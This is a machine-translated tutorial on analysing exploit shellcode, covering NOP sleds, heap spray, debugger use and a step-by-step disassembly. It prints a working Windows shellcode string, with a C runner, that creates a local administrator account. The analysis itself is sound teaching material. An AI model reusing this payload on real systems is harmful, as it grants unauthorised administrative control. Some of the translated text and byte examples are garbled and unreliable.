Blast 2015/05/21 10:02

Section V.1 and V.2 of this paper will try to explain part of the content only from the perspective of scripts, and the third part will simply summarize the implementation method of general SHELLCODE from examples. The next chapter, Script Pioneer IV, introduces a simple ShellCode analysis approach. Integration with other system security mechanisms will be left out of the Script Pioneer series and will be covered in subsequent chapters.

V.1 Introduction to Shellcode debugging Tools (OD, Windbg)


Shellcode originally refers to the code to obtain a shell, or the code to achieve a specific purpose. Most of the word “shellcode” using IE vulnerability in Netma refers to such code sets

Figure: Bytes in a PE file and corresponding disassembly statements

As you can see, if a meaningful operation is to be performed in machine code, the code is likely to contain non-printable, extended characters. In particular, extended characters may be ambiguous depending on the user’s machine language environment. As shown in the figure below, if the plaintext method is adopted, the length of the 4-byte content on the user machine will be judged to be 3 (the default setting of the Chinese system is taken as an example), which will lead to the inaccurate calculation of the length when laying shellCode, and a lot of inconvenience will be caused when exploiting the vulnerability.

So shellCode is usually coded as escape when you lay it out. Escape is simple, and also involves rewriting the character to the hexadecimal ASCII value of the character, plus a percent sign.

Unescape can unlock data in many forms, the most common of which are:

%XX, XX is the ASCII value of characters.

%uAABB, AABB is the ASCII value of unicode characters, which is equivalent to %BB%AA if the result is to be treated as multi-byte data;

The following is not a strict “unlock”, but it is an encoding format and is therefore included:

\OO, \xHH, the most common string escape forms, are the \ escape symbols in c-like syntax (the most common ones are \n, \r, \0);

\uAABB, same as %u.

Escape does not encode letters and numbers, nor does it encode the * @ – _ +. / characters. All other characters are replaced by escape sequences.

Unesacpe decodes anything that fits the “undoable” description.

The character “|”, for example, its ASCII value is 124 (0 x7c), after the ESCAPE coding is % 7 c.

There is also a noun that appears in the net horse, which is introduced here separately:

NOP SLED (or slide, slice) : Something that doesn’t significantly affect code execution. Or at least something that doesn’t have much impact on the shellcode to execute.

Such as:

·nop (0x90, 0x909090, 0x909090, 0x909090, 0x909090, 0x909090)

· OR AL, 0C (0x0C0C, 2-byte sled, which is convenient and very common, even if you spray it all the way across, you’ll only need 160 MEgabytes of memory in your best case, although you’ll definitely need a lot more)

· OR eAX, 0D0D0D0D (0x0D 0x0D0D0D0d, 5 bytes, may cause alignment problems, but may not be detected by memory detection tools because it is not common), etc.

Overwriting a freed object with memory injection makes the object’s memory look like this:

Figure: The variable 0x35Fb03 is a class whose memory is occupied by the NOP SLED after it is free. When a member function is used again, the EIP changes to 0x0C0C0C0C0C +offset.

While at 0C0C0C0C, our shellcode is arranged. Of course, the above one is just for demonstration, so A lot of A’s are put in it.

Since 0x0C0c only manipulates eAX, which generally doesn’t have a big impact, it can be left to override, and since it is two-byte, it is “cost-effective” compared to the non-mainstream 0x0d alignment.

Figure: Simulated heap spray overwriting a virtual table of released classes in Visual Studio 2008

If you’re going to do something as simple as this, it’s not recommended to do it in Visual Studio after 2011, where it can get a bit more cumbersome. In 2011, when an object is deleted by delete, its address is set to 0x8123. It is difficult to reproduce the above phenomenon.

As for the value 0x8123, which you may find later when analyzing other software, a brief description of Microsoft’s approach:

Microsoft introduced this feature in VS11 Beta, using 0x8123 to solve the UAF problem, which is equivalent to the original:

#! c++ delete p;Copy the code

A sentence to expand into:

#! c++ delete p; (void*)p = (void*)0x00008123;Copy the code

The two words.

In general, programmers write that the correct release process should be

#! c++ delete p; p = NULL;Copy the code

And then, after insertion, it becomes

#! c++ delete p; (void*)p = (void*)0x00008123; p = NULL;Copy the code

Three sentences.

In the compiler’s eyes, the last two sentences are automatically optimized for the same variable because they are assigned a constant value

#! c++ delete p; p=NULL;Copy the code

As you can see, if released correctly, VS inserts will not affect the final result. If the programmer forgets p=NULL, the final result will be:

#! c++ delete p; (void*)p = (void*)0x00008123;Copy the code

0x00008123 is located in Zero Pages (Pages 0 to 15, address range 0x0 to 0x0000FFFF), and therefore can be considered safe because it would trigger an access violation if accessed. If a programmer sees a program crash on 0x00008123, as opposed to the more frequent null pointer reference crash on 0x00000000, he should immediately know that a post-release reference problem has occurred. For details, please refer to (1).

Refer to Heap Fengshui in Javascript for details about Heap fengshui. (2) We will also introduce it in later chapters.

For binary data debugging, common tools are OllyDbg, Windbg, IDA, and so on. I’m used to using Windbg+IDA, both functions are quite powerful, of course, OllyDbg interface due to colorful, dynamic debugging can also greatly improve work efficiency.

For a brief overview of the simplest functions of these three tools, resources (3) has a bibliography that you can check out if you’re interested.

Disclaimer: The following tools are limited to use time and environment, and the introduction may be emotional, just for reference, please choose the appropriate tools according to your needs. OllyDbg: download at http://ollydbg.de. OD2 is recommended for Windows 7.

Use Microsoft Symbol Server=1 will download the symbols from Microsoft Symbol Server, but it does not seem to be able to parse successfully. There is also no support for displaying offsets from a system function (but by clicking on the address line, they can be converted to relative addresses such as $+X), such as ntDLl.77279f72, which can be resolved to the following possible name range in Windbg:

However, the OD can only be displayed as an address.

This address actually belongs to NTDLL! __RtlUserThreadStart, which can be easily seen in Windbg:

Ctrl+G does not display offset in OD, and the function name is not known after the jump:

OD will automatically stop you at the function entry point (if there is one in the Settings), Windbg and IDA do not by default. And THE OD coloring system should be the clearest of the three, the debugging operation is:

F7: Step in, that is, if the current statement is call ADDRESS, press F7 and the cursor stops in the ADDRESS function.

F8: Step over to the next statement. If the current statement is call ADDRESS, press F8 to wait for this function to complete, and then stop at the statement following call ADDRESS.

F2: Set breakpoints, where breakpoints are shown in red:

A debug breakpoint (INT3) causes the statement to throw an exception when it reaches the breakpoint, and the debugger can stop on that statement once it receives it. This is very useful when debugging a LOOP. After all, if the LOOP is going to LOOP 999 times, you don’t want to F8 999. Just set a breakpoint outside the LOOP and run the program.

F9: execution program, can be used with F2; The program will run when executed and will not stop until accidents occur, so if debugging malicious code please be careful not to use this command casually;

Ctrl+F9: Execute to return. Executes up to the RETN of the current function;

F4: equivalent to F2+F9, run the breakpoint first. If your breakpoint is dead code (no branch can walk to it, the program will run);

For example, pseudocode:

#! bash IF (1) DO SOMETHING ELSE DO OTHER THING //DEADCopy the code

Windbg: Windbg comes with Microsoft WDK, you can install WDK together with the installation, but also can be downloaded separately, specific Baidu. Windbg has 32 – and 64-bit versions. You are advised to install both.

Windbg is a text interface, which may be a bit awkward for some people at first, but if you use it a lot, you’ll find it’s a real miracle.

The following are common commands:

.symfix and.reload. Set the symbol file as the default Microsoft symbol server, and then reload the symbol. At this point, the previously displayed address will be displayed as the function name if there is a corresponding symbol, which looks very convenient.

If there are private symbols and source code available, they can be loaded via.sympath+ and.reload. Source code debugging can be compared at the same time, which is very useful in case of crashes.

P, step through. T, step in. G, execute. PCT, to the next call or ret. K, showing stack backtracking. KVN, display stack backtrace, including parameters and other information. ~*k displays the stack traceback for all threads. ! Analysis-v: analyzes the cause of a crash (used when a crash occurs). Bp, set a breakpoint. BC, clear the breakpoint. Bl, show the breakpoint.Copy the code

For details, please refer to the Windbg help documentation.

IDA: IDA is a very useful static and dynamic analysis tool. Its static analysis supports the structure of the display function:

At the same time, the plugin can support generating pseudocode (but not necessarily correct, just for reference) :

It also supports Microsoft symbols quite well, to turn on symbol support, edit CFG/db.cfg to specify the symbol server. IDA may also initially prompt you to use Microsoft’s symbol server if you haven’t set it up before, so don’t worry too much.

IDA supports bochs, Win32 debugger, GDB, WinDBG:

Bochs debugger needs to be installed by Bochs, and IDA will use Bochsdbg.exe for dynamic debugging.

★IDA if you do not set a breakpoint to run, the program will run directly, will not stop anywhere, please note!

The Operation of the Win32 debugger is similar to that of the OD

F2 set a breakpoint in WinMain and run:

F8, step by. F7, step in. F9, running. F4, breakpoint and run, equivalent to F2+F9.Copy the code

It can be seen that the keys are almost the same, but its symbol support is better than OD. After loading Microsoft symbol, it even shows the corresponding meaning of each Offset:

However, the number of results replaced in OD is still less:

Also, many of the powerful features in IDA can’t be summarized in a single section; see Resources (2).

V.2 ShellCode in a Horse


Decrypt – Get the download address through the tool

After introducing the basic concepts above, let’s introduce constants and variables. These simple concepts will help us understand the simplest shellCode “decryption” process.

First, a constant, in a programming language, is something that doesn’t change (although it can change if you want it to), specifically a preset, or literal. Literal value (literally value, meaning everything in Chinese is translated like this, so I also wrote this).

To put it simply, say you want to call a function: WinExec(” cmd.exe “, 1);

The WinExec parameters of stdcall are pushed in the following order: the last parameter 1 is pushed first, and then the penultimate parameter “cmd.exe” is pushed. And, of course, what I’m pressing in here is its address.

Assembly code is similar to:

PUSH 1
PUSH ADDRESS_OF_CMD.EXE
CALL WinExec
Copy the code

The address_of_cmd. EXE file refers to the existing “cmd. EXE” string.

If you don’t understand, please refer to the following figure:

See, assuming that the initial address of this memory is 0x00000000 (which is not possible in real Win32, but this is just a demonstration, don’t worry), then the position of the cmd.exe string is actually 0x00000030.

If the WinExec code can also access the memory, then its code can be:

PUSH 1
PUSH 0x00000030
CALL WinExec
Copy the code

WinExec is a commonly used function because its code is shorter than ShellExecute and CreateProcess, which makes it easier to detect and kill. Other functions include URLDownloadToFileA/W, which is an HTML file that successfully overflows or destroys browser memory. The first thing you need to do is run the Trojan EXE. To ensure the length of Shellcode, downloading the Trojan from the server is obviously the easiest and most feasible. (I’ve also seen direct WriteFile write trojans to hard drives, but that piece of Shellcode is outrageously large.)

The second parameter of URLDownloadToFile is the URL, so this URL is probably also in the SHELLCODE in plaintext. Finding this address is more important for security researchers, which plays a great role in analyzing the integrity of the net.

So, let’s go back to the script and look at the following code

It is easy to read the code to know that SC is the Shellcode that is finally processed.

Output SC and run it in a browser:

You can get the shellcode after decryption. A simple look shows that there are a lot of repeated contents in the code: E2, and Unescape the content directly does not see decent plaintext, then we can experience that the code is encrypted by XOR, so you can fill in the tool key E2, and then unlock the constant part, this is the file that the code is trying to download

The debugging of this code will be left to the next chapter, but it’s not that difficult, and the URL is invalid, so you can refer to the next section (v.3) and feel free to debug it if you think it’s all right.

V.3 Shellcode 123


Finally, a brief introduction to what you might be interested in, which is one of the prerequisites for writing SHELLCODE, is how SHELLCODE gets the address of a function, and more importantly, how SHELLCODE can be generalized.

First, how to get the address of a system function manually.

Figure: Dependency Walker shows the offset of the ShellExecuteA export function. Add this value to the DLL’s Image Base to get the natively applicable function address (in the absence of ASLR).

Figure: Image Base in Shell32.dll (32bit, 6.1.7601.18762)

As shown in the figure above, without ASLR, the address of this function is 0x73800000 + 0x247bcd = 0x73a47bcd.

Figure: function address and module start address in tencentdel.exe (32 bit).

0x75547bcd – 0x247bcd = 0x75300000 => The current Image Base of the module. The reason why this value is different from the value declared in the file is that ASLR is enabled.

ShellExecuteExA’s offset is 0x247b32, 0x75300000+0x247b32=0x75547b32

However, in addition to the ASLR case above, the addresses of Microsoft library functions themselves will change with system changes, patch updates, etc. Therefore, it is inevitable that hard coding an address is not possible. So as a netma, how can ShellCode get the address of the REQUIRED API?

Let’s refer to shellCode (3) provided by Exploit-db.com:

#! c++ char shellcode[] = "\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42" "\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03" "\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b" "\x34\xaf\x01\xc6\x45\x81\x3e\x57\x69\x6e\x45\x75\xf2\x8b\x7a" "\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf" "\xfc\x01\xc7\x68\x4b\x33\x6e\x01\x68\x20\x42\x72\x6f\x68\x2f" "\x41\x44\x44\x68\x6f\x72\x73\x20\x68\x74\x72\x61\x74\x68\x69" "\x6e\x69\x73\x68\x20\x41\x64\x6d\x68\x72\x6f\x75\x70\x68\x63" "\x61\x6c\x67\x68\x74\x20\x6c\x6f\x68\x26\x20\x6e\x65\x68\x44" "\x44\x20\x26\x68\x6e\x20\x2f\x41\x68\x72\x6f\x4b\x33\x68\x33" "\x6e\x20\x42\x68\x42\x72\x6f\x4b\x68\x73\x65\x72\x20\x68\x65" "\x74\x20\x75\x68\x2f\x63\x20\x6e\x68\x65\x78\x65\x20\x68\x63" "\x6d\x64\x2e\x89\xe5\xfe\x4d\x53\x31\xc0\x50\x55\xff\xd7"; int main(int argc, char **argv){int (*f)(); f = (int (*)())shellcode; (int)(*f)(); }Copy the code

The author (Giuseppe D’Amore) provides the above code for verification (source: https://www.exploit-db.com/exploits/33836/). Add a user to all systems with the following effect:

Figure: The same code successfully adds user BroK3n on both x86 XP SP3 and X64 Win7 SP1.

You can manually compile the above C++ program, or use a tool to generate a test EXE:

Figure: Remove invalid characters – generate EXE to generate debugging programs

Attached: extracted ASCII values

#! bash 31d2b230648b128b520c8b521c8b42088b72208b12807e0c3375f289c703783c8b577801c28b7a2001c731ed8b34af01c645813e57696e4575f28b7a 2401c7668b2c6f8b7a1c01c78b7caffc01c7684b336e01682042726f682f414444686f727320687472617468696e6973682041646d68726f75706863 616c676874206c6f6826206e656844442026686e202f4168726f4b3368336e20426842726f4b68736572206865742075682f63206e68657865206863 6d642e89e5fe4d5331c05055ffd7Copy the code

Let’s look at the result of disassembly:

#! bash 0:000> uf image00400000+0x5000 Flow analysis was incomplete, some code may be missing image00400000+0x5000: 00405000 31d2 xor edx,edx 00405002 b230 mov dl,30h 00405004 648b12 mov edx,dword ptr fs:[edx] 00405007 8b520c mov edx,dword ptr [edx+0Ch] 0040500a 8b521c mov edx,dword ptr [edx+1Ch] image00400000+0x500d: 0040500d 8b4208 mov eax,dword ptr [edx+8] 00405010 8b7220 mov esi,dword ptr [edx+20h] 00405013 8b12 mov edx,dword ptr [edx] 00405015 807e0c33 cmp byte ptr [esi+0Ch],33h 00405019 75f2 jne image00400000+0x500d (0040500d) image00400000+0x501b: 0040501b 89c7 mov edi,eax 0040501d 03783c add edi,dword ptr [eax+3Ch] 00405020 8b5778 mov edx,dword ptr [edi+78h] 00405023 01c2 add edx,eax 00405025 8b7a20 mov edi,dword ptr [edx+20h] 00405028 01c7 add edi,eax 0040502a 31ed xor ebp,ebp image00400000+0x502c: 0040502c 8b34af mov esi,dword ptr [edi+ebp*4] 0040502f 01c6 add esi,eax 00405031 45 inc ebp 00405032 813e57696e45 cmp dword ptr [esi],456E6957h 00405038 75f2 jne image00400000+0x502c (0040502c) image00400000+0x503a: 0040503a 8b7a24 mov edi,dword ptr [edx+24h] 0040503d 01c7 add edi,eax 0040503f 668b2c6f mov bp,word ptr [edi+ebp*2] 00405043 8b7a1c mov edi,dword ptr [edx+1Ch] 00405046 01c7 add edi,eax 00405048 8b7caffc mov edi,dword ptr [edi+ebp*4-4] 0040504c 01c7 add edi,eax 0040504e 684b336e01 push 16E334Bh 00405053 682042726f push 6F724220h 00405058 682f414444 push 4444412Fh 0040505d 686f727320 push 2073726Fh 00405062 6874726174 push 74617274h 00405067 68696e6973 push 73696E69h 0040506c 682041646d push 6D644120h 00405071 68726f7570 push 70756F72h 00405076 6863616c67 push 676C6163h 0040507b 6874206c6f push 6F6C2074h 00405080 6826206e65 push 656E2026h 00405085 6844442026 push 26204444h 0040508a 686e202f41 push  412F206Eh 0040508f 68726f4b33 push 334B6F72h 00405094 68336e2042 push 42206E33h 00405099 6842726f4b push 4B6F7242h 0040509e 6873657220 push 20726573h 004050a3 6865742075 push 75207465h 004050a8 682f63206e push 6E20632Fh 004050ad 6865786520 push 20657865h 004050b2 68636d642e push 2E646D63h 004050b7 89e5 mov ebp,esp 004050b9 fe4d53 dec byte ptr [ebp+53h] 004050bc 31c0 xor eax,eax 004050be 50 push eax 004050bf 55 push ebp 004050c0 ffd7 call ediCopy the code

The analysis of code is the same as before, following the block by block principle. Alternatively, if you’re having trouble reading assembly code so far, you can just look at the text section and get a general idea of what it’s about, which you’ll cover in more detail later:

#! bash image00400000+0x5000: 00405000 31d2 xor edx,edx 00405002 b230 mov dl,30h 00405004 648b12 mov edx,dword ptr fs:[edx] 00405007 8b520c mov edx,dword ptr [edx+0Ch] 0040500a 8b521c mov edx,dword ptr [edx+1Ch] image00400000+0x500d: 0040500d 8b4208 mov eax,dword ptr [edx+8] 00405010 8b7220 mov esi,dword ptr [edx+20h] 00405013 8b12 mov edx,dword ptr [edx] 00405015 807e0c33 cmp byte ptr [esi+0Ch],33h 00405019 75f2 jne image00400000+0x500d (0040500d)Copy the code

All this loop does is get the base address of kernel32.dll.

Why does this code do that?

#! bash 00405000 31d2 xor edx,edx 00405002 b230 mov dl,30h 00405004 648b12 mov edx,dword ptr fs:[edx]Copy the code

NULLCHAR (mov EDx, Dword PTR FS:[30]) So the author uses this method. FS:[0x30] holds the PEB pointer, so after this code is executed, edx will be the PEB pointer.

#! c++ 00405007 8b520c mov edx,dword ptr [edx+0Ch] 0040500a 8b521c mov edx,dword ptr [edx+1Ch]Copy the code

This is the role of the two lines of code get InInitializationOrderModuleList address. This contains the module information used for PE initialization when loading.

Look at the structure of the PEB

#! c++ dt _PEB ntdll! _PEB +0x000 InheritedAddressSpace : UChar +0x001 ReadImageFileExecOptions : UChar +0x002 BeingDebugged : UChar +0x003 BitField : UChar +0x003 ImageUsesLargePages : Pos 0, 1 Bit +0x003 IsProtectedProcess : Pos 1, 1 Bit +0x003 IsLegacyProcess : Pos 2, 1 Bit +0x003 IsImageDynamicallyRelocated : Pos 3, 1 Bit +0x003 SkipPatchingUser32Forwarders : Pos 4, 1 Bit +0x003 SpareBits : Pos 5, 3 Bits +0x004 Mutant : Ptr32 Void +0x008 ImageBaseAddress : Ptr32 Void +0x00c Ldr : Ptr32 _PEB_LDR_DATA +0x010 ProcessParameters : Ptr32 _RTL_USER_PROCESS_PARAMETERSCopy the code

Visible first sentence got _PEB_LDR_DATA pointer, then the second sentence got InInitializationOrderModuleList.

#! c++ dt _PEB_LDR_DATA ntdll! _PEB_LDR_DATA +0x000 Length : Uint4B +0x004 Initialized : UChar +0x008 SsHandle : Ptr32 Void +0x00c InLoadOrderModuleList : _LIST_ENTRY +0x014 InMemoryOrderModuleList : _LIST_ENTRY +0x01c InInitializationOrderModuleList : _LIST_ENTRY +0x024 EntryInProgress : Ptr32 Void +0x028 ShutdownInProgress : UChar +0x02c ShutdownThreadId : Ptr32 VoidCopy the code

You can see

Module addresses are stored in this linked list

#! bash image00400000+0x500d: 0040500d 8b4208 mov eax,dword ptr [edx+8] 00405010 8b7220 mov esi,dword ptr [edx+20h] 00405013 8b12 mov edx,dword ptr [edx] 00405015 807e0c33 cmp byte ptr [esi+0Ch],33h 00405019 75f2 jne image00400000+0x500d (0040500d)Copy the code

Edx +8 is the address, edx+20h is the function name, ASCII 0x33 is the character “3”, so it is comparing whether the seventh word (0xC == 12 (dec)) is “3”. Since the modules are loaded sequentially, kernel32 is 3 on the seventh word, so this is more accurate.

Next, find the desired export function: image00400000+0x501b: 0040501b 89c7 mov edi,eax 0040501d 03783c add edi,dword ptr [eax+3Ch] 00405020 8b5778 mov edx,dword ptr [edi+78h] 00405023 01c2 add edx,eax 00405025 8b7a20 mov edi,dword ptr [edx+20h] 00405028 01c7 add edi,eax 0040502a 31ed xor ebp,ebp

After finding the kernel32 address, +0x3C is the PE header, PEHEADER +0x78 is the pointer to the exported table, and the exported table pointer +0x20 is the list of exported function names, textbook operation.

#! bash image00400000+0x502c: 0040502c 8b34af mov esi,dword ptr [edi+ebp*4] 0040502f 01c6 add esi,eax 00405031 45 inc ebp 00405032 813e57696e45 cmp dword ptr [esi],456E6957h 00405038 75f2 jne image00400000+0x502c (0040502c)Copy the code

Then, just find the desired function, in this case, the function that contains 0x456e6957,

In fact, it’s easy to guess that the author wants WinExec.

#! bash image00400000+0x503a: 0040503a 8b7a24 mov edi,dword ptr [edx+24h] 0040503d 01c7 add edi,eax 0040503f 668b2c6f mov bp,word ptr [edi+ebp*2] 00405043 8b7a1c mov edi,dword ptr [edx+1Ch] 00405046 01c7 add edi,eax 00405048 8b7caffc mov edi,dword ptr [edi+ebp*4-4] 0040504c 01c7 add edi,eaxCopy the code

In fact, here the author calculated the offset of the function + the module address = the function address, remember I said half a page ago “stupid” calculation.

#! bash 0040504e 684b336e01 push 16E334Bh 00405053 682042726f push 6F724220h 00405058 682f414444 push 4444412Fh 0040505d 686F727320 push 2073726Fh 00405062 6874726174 push 74617274h 00405067 68696e6973 push 73696E69h …………Copy the code

This is what I called the constant part,

Execute to see what is stored on the ESP, so you can see what is stored on the ESP. Finally, the author calls ESI, calls WinExec to start CMD, and the user is added. Unfortunately, the author didn’t deal with ExitProcess, and eventually the environment of the program was so messed up that it crashed. But the author’s purpose is achieved, the user has added, crash is ok.

The resources


(1] http://blogs.microsoft.com/cybertrust/2012/04/24/guarding-against-re-use-of-stale-object-references/

(2) heap fengshui in javascript: https://www.blackhat.com/presentations/bh-europe-07/Sotirov/Presentation/bh-eu-07-sotirov-apr19.pdf

(3) Windows Advanced Debugging (Windbg), The Definitive Guide to IDA Pro (IDA Pro), part of The Core Principles of Reverse Engineering (OllyDbg, very basic, not as deep as the title suggests)

(4] https://www.exploit-db.com/shellcode/

(5) Download the relevant malicious code mentioned in the article, password drops.wooyun.org, please debug in the virtual environment. Downloads